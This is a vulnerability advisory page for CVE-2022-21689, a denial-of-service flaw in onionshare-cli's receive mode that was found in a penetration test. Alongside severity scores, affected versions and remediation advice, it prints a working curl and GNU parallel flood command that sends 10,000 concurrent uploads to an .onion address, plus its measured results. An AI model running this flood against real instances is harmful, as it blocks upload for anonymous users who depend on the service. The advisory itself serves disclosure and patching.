CVE-2022-21689 — onionshare-cli
HIGHCVE-2022-21689 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in onionshare-cli. A fix is available for onionshare-cli — see the affected versions and patch details below.
Denial of Service in Onionshare
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2022-21689.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2022-21689 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 386,684 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
onionshare-cliReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Between September 26, 2021 and October 8, 2021, Radically Open Security conducted a penetration test of OnionShare 2.4, funded by the Open Technology Fund's Red Team lab.
- Vulnerability ID: OTF-012
- Vulnerability type: Denial of Service
- Threat level: Moderate
Description:
The receive mode limits concurrent uploads to 100 per second and blocks other uploads in the same second, which can be triggered by a simple script.
Technical description:
The following script uses GNU parallel and curl with around 6000 requests in parallel to send 10000 requests. A change in the ulimit -n configuration is required for it to work. This is sufficient to block file upload on a (public) receive instance.
seq 10000 | parallel --max-args 0 --jobs 6000 "curl -i -s -x socks5h://localhost:9150 -k -X $'POST' -H $'Host: csqrp3qciewvj5axph4o62jnr6aevhmpxfkydmi3256bprhbusr2ltid.onion' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: multipart/form-data; boundary=---------------------------19182376703918074873375387042' -H $'Content-Length: 329' -H $'Connection: close' --data-binary $'-----------------------------19182376703918074873375387042\x0d\x0aContent-Disposition: form-data; name=\"file[]\"; filename=\"poc.txt\"\x0d\x0aContent-Type: text/plain\x0d\x0a\x0d\x0aA\x0d\x0a-----------------------------19182376703918074873375387042\x0d\x0aContent-Disposition: form-data; name=\"text\"\x0d\x0a\x0d\x0a\x0d\x0a-----------------------------19182376703918074873375387042--\x0d\x0a' $'http://csqrp3qciewvj5axph4o62jnr6aevhmpxfkydmi3256bprhbusr2ltid.onion/upload-ajax'"
Attack duration was around 80 seconds.
Cases where over 99 requests were sent per second:
Every 0.1s: ls | grep... onionvm: Tue Oct 5 12:17:00 2021
78
Cases where files were successfully written to disk:
Every 0.1s: ls | wc -w onionvm: Tue Oct 5 12:17:00 2021
8399
This means that during the attack time 1601 requests of 10000 were dropped. We tried to upload multiple files in the web interface during the attack and were not successful.
The failsafe is used to prevent creating more than 100 directories per second:
The limit of 100 requests/second is significantly lower than the possible network bandwidth and greatly reduces the attack complexity for denial of service. Our test was conducted over the tor network, which showed no limitation for the required bandwidth.
Impact:
An adversary with access to the receive mode can block file upload for others. There is no way to block this attack in public mode due to the anonymity properties of the tor network.
Recommendation:
- Remove this limitation, or
- Derive directory name from milliseconds
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | onionshare-cli | all versions | 2.5pip install --upgrade 'onionshare-cli==2.5' |
Affected Products
onionshareonionshareDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for onionshare-cli, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update onionshare-cli to 2.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2022-21689 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Frequently Asked Questions
Is CVE-2022-21689 in your dependencies?
Find it across PyPI, including transitive dependencies.